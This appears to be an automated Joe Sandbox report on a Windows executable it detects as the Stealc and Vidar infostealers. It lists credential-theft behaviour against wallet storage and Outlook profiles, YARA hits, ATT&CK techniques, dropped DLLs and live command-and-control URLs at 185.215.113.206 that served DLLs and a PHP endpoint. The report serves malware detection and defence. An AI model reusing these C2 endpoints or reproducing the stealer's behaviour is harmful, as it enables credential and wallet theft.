Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3572, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.2.file.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2115825361.0000000000781000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3572, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3572, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790C40 sqlite3_bind_zeroblob,	0_2_6C790C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790D60 sqlite3_bind_parameter_name,	0_2_6C790D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8EA0 sqlite3_clear_bindings,	0_2_6C6B8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C790B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6410 bind,WSAGetLastError,	0_2_6C6B6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6070 PR_Listen,	0_2_6C6B6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C6BC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC030 sqlite3_bind_parameter_count,	0_2_6C6BC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B60B0 listen,WSAGetLastError,	0_2_6C6B60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6422D0 sqlite3_bind_blob,	0_2_6C6422D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B63C0 PR_Bind,	0_2_6C6B63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	145 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Stealerc
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.tiktok.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	142.250.181.238	true	false	unknown
play.google.com	142.250.184.206	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	13.32.99.90	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
deff.nelreports.net	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
https://c.msn.com/c.gif?rnd=1730048078814&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=45b1638002d74deca17d67db0d47ac12&activityId=45b1638002d74deca17d67db0d47ac12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=40C3C6C1019F40368045AE696034857B&MUID=074FEA079F3063D20A3CFF229EC1622A	false	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730048081026&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730048082032&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730048078812&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	unknown
https://c.msn.com/c.gif?rnd=1730048078814&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=45b1638002d74deca17d67db0d47ac12&activityId=45b1638002d74deca17d67db0d47ac12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	unknown
https://sb.scorecardresearch.com/b2?rn=1730048078815&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=074FEA079F3063D20A3CFF229EC1622A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	false	URL Reputation: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_476.4.dr	false	URL Reputation: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://ntp.msn.com/0	000003.log9.9.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	false	URL Reputation: safe	unknown
https://www.last.fm/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		unknown
http://185.215.113.206IJK	file.exe, 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_475.4.dr	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
https://www.youtube.com	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		unknown
https://www.instagram.com	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://web.skype.com/?browsername=edge_canary_shoreline	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://drive.google.com/	manifest.json0.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://www.messenger.com	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://i.y.qq.com/n2/m/index.html	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://www.deezer.com/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://web.telegram.org/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2593670616.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		unknown
https://vibe.naver.com/today	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpmS	file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	BAAFBFBA.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		unknown
https://excel.new?from=EdgeM365Shoreline	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		unknown
https://plus.google.com	chromecache_475.4.dr	false		unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		unknown
https://www.tiktok.com/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	false		unknown
https://msn.comXIDv10	Cookies.10.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://y.music.163.com/m/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://bard.google.com/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://clients6.google.com	chromecache_475.4.dr	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://web.whatsapp.com	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://m.kugou.com/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://www.office.com	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://outlook.live.com/mail/0/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DBGIJEHIIDGCFHIEGDGC.0.dr	false		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dllg	file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dllh	file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://powerpoint.new?from=EdgeM365Shoreline	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	false	URL Reputation: safe	unknown
https://tidal.com/	d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	false		unknown
https://ntp.msn.com	000003.log3.9.dr, 2cc80dabc69f58b6_0.9.dr	false		unknown
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.238	plus.l.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
104.208.16.92	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.206	play.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.207	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.198.7.171	unknown	United States	20940	AKAMAI-ASN1EU	false
13.32.99.90	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.47.50.137	unknown	United States	16625	AKAMAI-ASUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.99.185.48	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
3.168.2.115	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543327
Start date and time:	2024-10-27 17:53:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/306@28/23
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 84 Number of non-executed functions: 204
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 142.250.186.78, 74.125.206.84, 34.104.35.123, 142.250.186.35, 172.217.18.10, 216.58.206.42, 142.250.186.42, 216.58.206.74, 142.250.184.202, 216.58.212.170, 142.250.186.170, 142.250.181.234, 142.250.184.234, 142.250.186.74, 142.250.185.234, 142.250.186.106, 172.217.16.202, 142.250.186.138, 142.250.185.74, 216.58.212.138, 142.250.185.138, 172.217.18.106, 142.250.185.106, 142.250.185.170, 142.250.185.202, 172.217.23.106, 199.232.214.172, 192.229.221.95, 204.79.197.203, 13.107.21.239, 204.79.197.239, 172.217.18.110, 13.107.6.158, 13.107.42.16, 2.19.126.145, 2.19.126.152, 20.191.45.158, 88.221.110.195, 88.221.110.179, 2.23.209.177, 2.23.209.189, 2.23.209.187, 2.23.209.133, 2.23.209.185, 2.23.209.182, 2.23.209.179, 2.23.209.181, 2.23.209.183, 2.23.209.160, 2.23.209.149, 2.23.209.150, 2.23.209.148, 2.23.209.135, 2.23.209.141, 2.23.209.176, 2.23.209.140, 2.23.209.158, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.40, 2.23.209.32, 2.23.209.35, 2.23.209.
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.akamai.net, config.edge.skype.com, 